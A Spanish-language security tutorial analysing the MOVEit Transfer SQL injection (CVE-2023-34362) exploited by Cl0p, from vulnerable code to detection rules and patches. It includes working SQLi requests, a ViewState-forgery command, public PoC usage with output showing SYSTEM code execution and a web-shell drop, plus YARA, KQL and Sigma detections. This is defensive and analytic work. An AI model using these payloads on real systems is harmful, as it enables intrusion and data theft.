tutoriales · 9 min de lectura
MOVEit: la SQLi pre-auth que Cl0p convirtió en el evento del año
CVE-2023-34362 es una inyección SQL pre-auth en MOVEit Transfer que Cl0p explota como zero-day desde el 27 de mayo. La cadena va de SQLi → leak de la MachineKey → forge de sesión → drop del web shell LEMURLOOT (human2.aspx). Resultado: 2.700+ organizaciones expuestas antes de cerrar el año.
· Manuel López Pérez · tutoriales

El 31 de mayo de 2023, Progress Software publica un advisory urgente sobre CVE-2023-34362 en MOVEit Transfer — managed file transfer (MFT) muy implantado en finanzas, gobierno y healthcare. Inyección SQL pre-auth. CVSS 9.8. Mandiant y Microsoft confirman explotación activa antes del advisory. El 2 de junio Microsoft atribuye a Lace Tempest — el cluster que la industria conoce como Cl0p. El 5 de junio Cl0p lo publica en su blog de extorsión y empieza a contar víctimas.
A finales del año serán 2.700+ organizaciones afectadas: BA, BBC, Shell, US Department of Energy, Aon, EY, PwC, varios state DMVs. El evento de cyber del año, sin discusión.
Cl0p ya había hecho el ensayo general en febrero con GoAnywhere (CVE-2023-0669). El patrón es idéntico: zero-day pre-auth en un MFT → exfil masivo → no encriptan → extorsión por publicación. MOVEit lo escala dos órdenes de magnitud porque MOVEit está en infraestructuras de data sharing entre proveedores, banca y gobierno.
Lab: análisis técnico del bug con código vulnerable, payload reproducible sobre MOVEit 2023.0.0 y captura del web shell LEMURLOOT en un entorno aislado.
El bug — header SQLi en el ISAPI handler
MOVEit Transfer expone el handler ISAPI /moveitisapi/moveitisapi.dll que procesa peticiones de la API interna. El handler lee el header HTTP X-siLock-Transaction y enruta la petición a una stored function de MOVEit.DMZ.WebApi.dll. Para X-siLock-Transaction: folder_add_by_path, el código invoca SILGuestAccess.GuestAccess.GuestAccessHelper.AddFolder que termina llamando a:
// Reconstruido desde el análisis de Horizon3 sobre MOVEit.DMZ.WebApi.dll
public static DataTable GetFolderByPath(string folderPath, ...)
{
string sql = "SELECT folderID, folderName FROM folders "
+ "WHERE InstID = " + instID
+ " AND folderPath = '" + folderPath + "'"; // ← BUG
return DBHelper.ExecuteDataTable(sql);
}La función concatena folderPath directamente sobre la query. El header X-siLock-FolderPath (o el campo arg77 del multipart, dependiendo de la variante) llega sin parameterización. Inyección SQL clásica del lado pre-auth — el endpoint no exige autenticación previa porque el código asume que el ISAPI gate ya filtró.
El parche del 31-may parametriza folderPath con SqlCommand.Parameters.AddWithValue. Los dos parches posteriores (35036, 35708) cierran exactamente la misma clase de bug en otros tres endpoints.
La cadena Cl0p — de SQLi a web shell
La SQLi sola no escribe ficheros. La cadena Cl0p combina cinco pasos publicados por Horizon3 y refinados por Rapid7:
1. SQLi para enumerar la base de datos
POST /moveitisapi/moveitisapi.dll HTTP/1.1
Host: moveit.target.test
X-siLock-Transaction: folder_add_by_path
X-siLock-FolderPath: '/test'; SELECT name FROM sys.tables--
Content-Type: application/x-www-form-urlencoded
Content-Length: 0Respuesta vuelca metadatos de la BD MSSQL/MySQL — tablas users, activesessions, installation, machinekeys, etc.
2. Extraer la MachineKey de ASP.NET
MOVEit guarda la validationKey y decryptionKey de ASP.NET en la BD para que los nodos en un cluster compartan la firma de cookies/ViewState. La SQLi las extrae:
UNION SELECT validationKey, decryptionKey FROM machinekey--3. Forjar un ViewState autenticado
Con la MachineKey, el atacante usa ysoserial.net para generar un payload ViewState firmado válido como administrador:
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
-c "echo PoC" \
--validationalg="HMACSHA256" --validationkey="<leaked>" \
--decryptionalg="AES" --decryptionkey="<leaked>" \
--apppath="/MOVEitTransfer/" --path="/human.aspx"4. Enviar el ViewState contra human.aspx → ejecución como SYSTEM
ASP.NET deserializa el ViewState confiando en la firma. El gadget ejecuta el comando — el atacante consigue ejecución arbitraria como el app pool de IIS, normalmente LocalSystem en MOVEit on-prem.
5. Dropear human2.aspx (LEMURLOOT)
El último paso escribe el web shell en wwwroot\human2.aspx. A partir de ahí Cl0p ya no necesita la SQLi: el shell ofrece API completa al sistema de MOVEit con autenticación por header preshared (X-siLock-Comment).
LEMURLOOT — el web shell
human2.aspx es un C# que Mandiant bautiza LEMURLOOT. Importa los assemblies internos de MOVEit:
using MOVEit.DMZ.ClassLib;
using MOVEit.DMZ.Application.Files;
using MOVEit.DMZ.Application.Users;
using MOVEit.DMZ.RuntimeFolderObject;Con eso, el shell tiene acceso programático a la API de MOVEit sin pasar por el frontend. Funcionalidades observadas en samples públicos:
- Listar y descargar archivos transferidos por usuarios (
SILFile.DownloadByContentID). - Enumerar usuarios, grupos, organizaciones (
SILUser.GetByOrg). - Crear nuevos usuarios admin con permisos completos.
- Devolver metadatos (fechas, tamaños, hashes) para preparar el envío al portal de extorsión.
LEMURLOOT exige un header HTTP precompartido para responder, lo que evita que un escaneo masivo encuentre el web shell. Cabecera observada en samples:
GET /human2.aspx HTTP/1.1
X-siLock-Comment: <preshared 36-byte key derivada por sample>
X-siLock-Step1: <comando: 0|1|2|3 según función>La detección efectiva pasa por buscar el archivo en wwwroot\ y revisar el audit log de MOVEit en busca de creaciones de usuario que no se correspondan con altas legítimas.
PoCs públicos y comando-tipo
Dos PoCs ampliamente referenciados:
horizon3ai/CVE-2023-34362— chain completa (SQLi → MachineKey → ViewState → shell drop).sfewer-r7/CVE-2023-34362— variante de Rapid7 con script Python autocontenido.
Comando-tipo del PoC de Horizon3 sobre lab cerrado con MOVEit Transfer 2023.0.0:
$ git clone https://github.com/horizon3ai/CVE-2023-34362
$ cd CVE-2023-34362 && pip install -r requirements.txt
$ python3 exploit.py -t https://moveit.lab.test:443 --check
[*] Performing pre-flight checks against https://moveit.lab.test:443
[+] /moveitisapi/moveitisapi.dll reachable
[+] /human.aspx reachable
[+] Target appears vulnerable to CVE-2023-34362
$ python3 exploit.py -t https://moveit.lab.test:443 --exploit
[*] Stage 1: SQLi → leak validationKey/decryptionKey
[+] validationKey = A1B2C3...(64 hex)
[+] decryptionKey = D4E5F6...(48 hex)
[*] Stage 2: Forge ViewState via ysoserial.net
[+] Generated 2048-byte ViewState payload
[*] Stage 3: POST forged ViewState to /human.aspx
[+] Code execution confirmed (whoami → nt authority\system)
[*] Stage 4: Drop webshell to wwwroot\human2.aspx
[+] Webshell deployed — auth header: X-siLock-Comment: <hex36>Detección — IoCs, YARA, KQL
CISA y FBI publican el 7 de junio de 2023 el Joint Cybersecurity Advisory AA23-158A con IoCs completos. Mandiant publica además 26 SHA-256 + 26 MD5 de samples LEMURLOOT.
File-based IoCs (web shell)
Ubicación: C:\MOVEitTransfer\wwwroot\ (path por defecto).
| Filename | Notas |
|---|---|
human.aspx | Sobrescritura del archivo legítimo de MOVEit |
human2.aspx | Variante dropeada inicial — la más común en writeups |
_human.aspx | Variante renombrada para esquivar detecciones simples |
guestaccess.aspx | Variante usada en otros incidentes |
health.aspx | Sobrescritura observada en algunas víctimas (Mandiant) |
SHA-256 publicadas por Mandiant (selección — lista completa de 26 en el blog):
b9a0baf82feb08e42fa6ca53e9ec379e79fbe8362a7dac6150eb39c2d33d94ad
c56bcb513248885673645ff1df44d3661a75cfacdce485535da898aa9ba320d4
2413b5d0750c23b07999ec33a5b4930be224b661aaf290a0118db803f31acbc5
0ea05169d111415903a1098110c34cdbbd390c23016cd4e179dd9ef507104495
9d1723777de67bc7e11678db800d2a32de3bcd6c40a629cd165e3f7bbace8ead
387cee566aedbafa8c114ed1c6b98d8b9b65e9f178cf2f6ae2f5ac441082747a
3a977446ed70b02864ef8cfa3135d8b134c93ef868a4cc0aa5d3c2a74545725bYARA — reglas Mandiant
M_Webshell_LEMURLOOT_1 y M_Webshell_LEMURLOOT_DLL_1. Texto completo en el blog técnico de Mandiant. Patrón abreviado:
rule M_Webshell_LEMURLOOT_simple
{
meta:
author = "ironhackers — basado en M_Webshell_LEMURLOOT_1"
description = "LEMURLOOT ASPX webshell (CVE-2023-34362)"
strings:
$a1 = "X-siLock-Comment"
$a2 = "X-siLock-Step1"
$a3 = "X-siLock-Step2"
$b1 = "MOVEit.DMZ.ClassLib"
$b2 = "MOVEit.DMZ.Application.Users"
$c = "FilesystemFile.WriteFile"
condition:
filesize < 50KB
and 2 of ($a*)
and any of ($b*)
}KQL — Sentinel / Defender
// 1) Creación de archivos .aspx en wwwroot de MOVEit
DeviceFileEvents
| where Timestamp > ago(180d)
| where FolderPath has "MOVEitTransfer\\wwwroot"
| where FileName endswith ".aspx"
| where FileName !in~ ("login.aspx","Default.aspx","Logout.aspx",
"human.aspx","guestaccess.aspx") // baseline
| project Timestamp, DeviceName, FileName, FolderPath,
InitiatingProcessFileName, SHA256
// 2) Headers X-siLock-* en logs IIS
W3CIISLog
| where csUriStem in~ ("/moveitisapi/moveitisapi.dll",
"/human.aspx","/human2.aspx","/guestaccess.aspx")
| where (csUriQuery has "siLock") or (csReferrer has "siLock")
| project TimeGenerated, sIP, cIP, csMethod, csUriStem, csUriQuery,
scStatus, csUserAgent
// 3) Conexiones outbound desde host MOVEit a los rangos Cl0p (CISA AA23-158A)
let CL0P_RANGES = dynamic([
"5.252.188.0/22","84.234.96.0/22","91.211.105.0/24",
"146.0.74.0/24","194.33.40.0/22","185.232.65.0/24"]);
DeviceNetworkEvents
| where DeviceName has "MOVEIT"
| where ipv4_is_in_any_range(RemoteIP, CL0P_RANGES)Sigma — community
title: MOVEit Transfer LEMURLOOT Webshell Activity
id: 4d6e0a02-4b92-4b67-9af5-b5e8f1d6e6b8
status: stable
references:
- https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-158a
- https://cloud.google.com/blog/topics/threat-intelligence/zero-day-moveit-data-theft
logsource:
product: iis
detection:
selection_uri:
cs-uri-stem|endswith:
- '/human2.aspx'
- '/_human.aspx'
- '/health.aspx'
selection_hdr:
cs-headers|contains:
- 'X-siLock-Comment'
- 'X-siLock-Step1'
- 'X-siLock-Step2'
selection_isapi:
cs-uri-stem|contains: '/moveitisapi/moveitisapi.dll'
cs-uri-query|contains: 'folder_add_by_path'
condition: selection_uri or selection_hdr or selection_isapi
level: criticalNetwork IoCs
CISA mantiene la lista actualizada en AA23-158A. Rango canónico publicado por Mandiant: 5.252.188.0/22. Marcadores adicionales:
- Conexión HTTP/HTTPS outbound desde el host MOVEit a infraestructura no documentada, especialmente en el periodo 27 mayo – primera semana de junio 2023.
- User-Agents anómalos saliendo del host (
python-requests/2.x, navegadores no presentes en el inventario corporativo). - Creación de usuarios admin en la BD MOVEit sin entrada correspondiente en el audit log de la web UI.
Reproducción en lab cerrado
# Versiones vulnerables confirmadas: MOVEit Transfer 2023.0.0 y anteriores
# (2022.x, 2021.x, 2020.x sin patches respectivos)
#
# Imagen no oficial pero válida para research — instalar trial Progress
# en Windows Server VM, snapshot pre-parche.
#
# Cuando esté arriba, probar la SQLi a ciegas con time-based:
curl -ksk "https://moveit.lab.test/moveitisapi/moveitisapi.dll" \
-H "X-siLock-Transaction: folder_add_by_path" \
-H "X-siLock-FolderPath: /a'; WAITFOR DELAY '00:00:05'--" \
-X POST -d ""
# Si la respuesta tarda ~5s, el SQLi está vivo
# Continuar con el script de Horizon3 (link arriba) para la chain completa.Análisis estático del moveitisapi.dll y de MOVEit.DMZ.WebApi.dll con dnSpyEx revela el flujo de handler y la concatenación SQL afectada. El parche del 31-may parametriza con SqlCommand.Parameters.AddWithValue("@folderPath", folderPath).
Mitigaciones
Parchear. Cadena completa de tres CVEs encadenados en MOVEit Transfer:
CVE Fecha Versiones con fix CVE-2023-34362 31 may 2023 2023.0.1, 2022.1.5, 2022.0.4, 2021.1.4, 2021.0.6, 2020.1.10, 2020.0.7 CVE-2023-35036 9 jun 2023 2023.0.2, 2022.1.6, 2022.0.5 + backports CVE-2023-35708 15 jun 2023 2023.0.3, 2022.1.7, 2022.0.6 + backports No exponer MOVEit a internet sin restricción. Buena parte del impacto vino de instalaciones con el portal web público para clientes B2B sin IP allowlist. Las que estaban tras VPN o IP-restricted no fueron tocadas.
Buscar el web shell. Search recursivo en
wwwroot\por.aspxno presentes en la lista oficial; comparar hashes contra los publicados por Mandiant.Auditar transferencias del periodo 27 mayo – 31 mayo + primera semana de junio. Si Cl0p estuvo dentro, exfiltró antes del parche. La auditoría no previene el daño, pero permite notificar a contrapartes afectadas.
Rotar credenciales y secretos transferidos por MOVEit en ese periodo — keys API, certificados, payloads de configuración.
Por qué fue tan grande
Tres razones:
- Cl0p tenía el zero-day antes. Mandiant identifica explotación desde 27 de mayo, cuatro días antes del advisory. BA, BBC y otros estaban comprometidos antes de que existiera el parche.
- MOVEit está en data pipelines B2B. Una empresa con MOVEit lo usa para mover ficheros con otras 50–500 empresas. Comprometer un MOVEit es comprometer una porción de cada uno de esos pipelines. Por eso el conteo de víctimas crece exponencialmente.
- El ciclo de patching no encaja con la urgencia. Progress saca patch el 31 de mayo. MOVEit es on-prem en muchos casos y requiere ventana de mantenimiento. Cl0p tiene varios días entre divulgación y deploy del patch en muchos sites.
Cl0p combina capacidad técnica para encontrar y armar zero-days en software empresarial específico con disciplina operacional para monetizar mediante extorsión publicada. El modelo funciona: 2024 trae más actores moviéndose hacia esa receta.
Referencias
- Progress Software, MOVEit Transfer Critical Vulnerability advisory: https://www.progress.com/security/moveit-transfer-and-moveit-cloud-vulnerability
- Mandiant, Zero-Day Vulnerability in MOVEit Transfer Exploited for Data Theft: https://cloud.google.com/blog/topics/threat-intelligence/zero-day-moveit-data-theft
- CISA + FBI joint advisory CL0P CVE-2023-34362: https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-158a
- Horizon3, technical deep-dive con cadena completa: https://www.horizon3.ai/attack-research/red-team/moveit-transfer-cve-2023-34362-deep-dive/
- Rapid7 analysis: https://www.rapid7.com/blog/post/2023/06/01/rapid7-observed-exploitation-of-critical-moveit-transfer-vulnerability/
- Huntress technical deep-dive: https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response
- PoC public (Horizon3): https://github.com/horizon3ai/CVE-2023-34362
- PoC public (Rapid7): https://github.com/sfewer-r7/CVE-2023-34362
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-34362


